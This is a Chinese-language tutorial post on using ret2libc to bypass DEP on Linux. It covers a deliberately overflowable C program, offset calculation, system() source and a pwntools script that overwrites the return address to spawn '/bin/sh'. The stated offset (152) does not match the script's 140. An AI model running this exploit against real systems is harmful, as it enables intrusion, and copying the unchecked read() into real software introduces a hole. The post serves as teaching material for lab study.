天天看點

Linux下利用Ret2Libc繞過DEP

Linux下利用Ret2Libc繞過DEP

⑴.  原理分析:

系統庫函數通常是不受DEP(關于DEP,可以檢視我之前文章的詳細介紹)保護的,是以通過将傳回位址指向系統函數可以繞過DEP保護,是以可以通過調研系統函數system()獲得shell。

⑵.環境準備:

i.漏洞代碼:

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

void flow(){

    char buf[128];

    read(STDIN_FILENO,buf,256);

}

int main(){

    flow();

    char a[]="hello";

    write(STDOUT_FILENO,a,strlen(a));

    return 0;

}

編譯指令:

gcc -fno-stack-protector -g -m32 -o vuln vuln.c

ii.測試環境:

測試系統:kaii 2.0 rolling

輔助插件:peda

⑶.測試分析:

i.存在漏洞的函數flow傳回位址:

Linux下利用Ret2Libc繞過DEP

漏洞函數傳回位址:0xffffd2ac。

ii.緩沖區起始位址:

Linux下利用Ret2Libc繞過DEP

緩沖區起始位址:0xffffd220

iii. 系統函數system()位址

Linux下利用Ret2Libc繞過DEP

iv.System參數:”/bin/sh”

Linux下利用Ret2Libc繞過DEP

v. system函數源碼:

int system(const char * cmdstring)

 {

     pid_t pid;

     int status;

     if(cmdstring == NULL){       

          return (1);

     }

     if((pid = fork())<0){

             status = -1;

     }

     else if(pid == 0){

         execl("/bin/sh", "sh", "-c", cmdstring, (char *)0);

         _exit(127); //子程序正常執行則不會執行此語句

        }

     else{

             while(waitpid(pid, &status, 0) < 0){

                   if(errno != EINTER){

                     status = -1;

                     break;

                 }

             }

         }

         return status;

 }

⑷.攻擊過程:

i.計算攻擊shellcode長度:

我們的目的是用system函數的位址覆寫傳回位址,将system函數後的參數位址(後8位元組,後四位元組是傳回位址)覆寫為我們找到的”/bin/sh”的位址。

是以size(shellcode)= address(ret)- address(buff)+ 12 = 0xffffd2ac – 0xffffd220 + 12 = 152

ii. 設計shellcode結構:

Linux下利用Ret2Libc繞過DEP

注:因為我們劫持程式後獲得shell之後不會再傳回,是以addr(ret:system)可以是任意位址。

iii.編寫漏洞利用腳本:

from pwn import *

sh = 0xf7f4a808

system = 0xf7e0bc70

ret = 0x565555d4

payload = 'a'*140+p32(system)+p32(ret)+p32(sh)

p = process('./vuln')

p.send(payload)

p.interactive()

執行:

成功。

轉載于:https://www.cnblogs.com/zhang293/p/9156511.html

繼續閱讀